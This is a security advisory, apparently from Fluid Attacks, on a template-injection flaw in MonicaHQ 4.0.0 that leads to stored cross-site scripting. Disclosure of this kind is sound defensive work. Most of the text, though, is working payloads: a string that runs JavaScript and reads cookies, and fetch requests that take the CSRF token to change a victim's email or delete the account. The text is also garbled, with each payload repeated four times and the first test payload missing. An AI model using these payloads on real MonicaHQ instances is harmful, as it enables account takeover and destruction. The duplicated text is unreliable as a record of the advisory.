Description
MonicaHQ version 4.0.0 allows an authenticated remote attacker to execute malicious code in the application. This is possible because the application does not correctly validate the data entered by the user.
Vulnerability
This vulnerability occurs because the application does not correctly validate the data entered by users when creating new contacts within the application, as well as the characteristics of the contacts themselves.
Exploitation
First we create a contact:

After creating the contact you can edit its characteristics. At this point there are many inputs which are vulnerable. The PoC of the exploitation of one of them will be shown but it applies to all the others. In this case we edit the food preference feature. We inject the following payload which interprets:
At this point we can say that it is vulnerable to CSTI since we see the value 49 reflected.


Thanks to this it is possible to inject JavaScript code, which is interpreted.
{{{}.toString.constructor('confirm(document.cookie)')()}}{{{}.toString.constructor('confirm(document.cookie)')()}}{{{}.toString.constructor('confirm(document.cookie)')()}}{{{}.toString.constructor('confirm(document.cookie)')()}}

As the XSS is stored, CSRF can be applied to change another user's email address or delete their account.
Evidence of exploitation
CSTI to CSRF Change mail
{{ fetch('http://localhost:8080/settings/save', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: new URLSearchParams({
_token: document.querySelector('[name="_token"]').value,
id: 3,
first_name: 'test',
last_name: 'testt',
email: 'attacker@test.com',
locale: 'es',
currency_id: 4,
temperature_scale: 'celsius',
timezone: 'Europe/Madrid',
reminder_time: '12:00',
name_order: 'firstname_lastname_nickname',
fluid_container: 1
})
})
.then(res => res.text())
.then(text => window.location.href = text)
}}{{ fetch('http://localhost:8080/settings/save', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: new URLSearchParams({
_token: document.querySelector('[name="_token"]').value,
id: 3,
first_name: 'test',
last_name: 'testt',
email: 'attacker@test.com',
locale: 'es',
currency_id: 4,
temperature_scale: 'celsius',
timezone: 'Europe/Madrid',
reminder_time: '12:00',
name_order: 'firstname_lastname_nickname',
fluid_container: 1
})
})
.then(res => res.text())
.then(text => window.location.href = text)
}}{{ fetch('http://localhost:8080/settings/save', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: new URLSearchParams({
_token: document.querySelector('[name="_token"]').value,
id: 3,
first_name: 'test',
last_name: 'testt',
email: 'attacker@test.com',
locale: 'es',
currency_id: 4,
temperature_scale: 'celsius',
timezone: 'Europe/Madrid',
reminder_time: '12:00',
name_order: 'firstname_lastname_nickname',
fluid_container: 1
})
})
.then(res => res.text())
.then(text => window.location.href = text)
}}{{ fetch('http://localhost:8080/settings/save', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: new URLSearchParams({
_token: document.querySelector('[name="_token"]').value,
id: 3,
first_name: 'test',
last_name: 'testt',
email: 'attacker@test.com',
locale: 'es',
currency_id: 4,
temperature_scale: 'celsius',
timezone: 'Europe/Madrid',
reminder_time: '12:00',
name_order: 'firstname_lastname_nickname',
fluid_container: 1
})
})
.then(res => res.text())
.then(text => window.location.href = text)
}}
CSTI to CSRF Delete Account
{{
fetch('http://localhost:8080/settings/delete', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: '_token=' + document.querySelector('[name="_token"]').value
})
.then(res => res.text())
.then(text => window.location.href = text)
}}{{
fetch('http://localhost:8080/settings/delete', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: '_token=' + document.querySelector('[name="_token"]').value
})
.then(res => res.text())
.then(text => window.location.href = text)
}}{{
fetch('http://localhost:8080/settings/delete', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: '_token=' + document.querySelector('[name="_token"]').value
})
.then(res => res.text())
.then(text => window.location.href = text)
}}{{
fetch('http://localhost:8080/settings/delete', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: '_token=' + document.querySelector('[name="_token"]').value
})
.then(res => res.text())
.then(text => window.location.href = text)
}}
Our security policy
We have reserved the CVE-2023-1031, CVE-2023-1094, CVE-2023-30787, CVE-2023-30788, CVE-2023-30789, CVE-2023-30790 to refer to this issue from now on. Disclosure policy
System Information
Version: MonicaHQ 4.0.0
Operating System: GNU/Linux
Mitigation
There is currently no patch available for this vulnerability.
References
Credits
The vulnerability was discovered by Lautaro Casanova from Fluid Attacks' Offensive Team.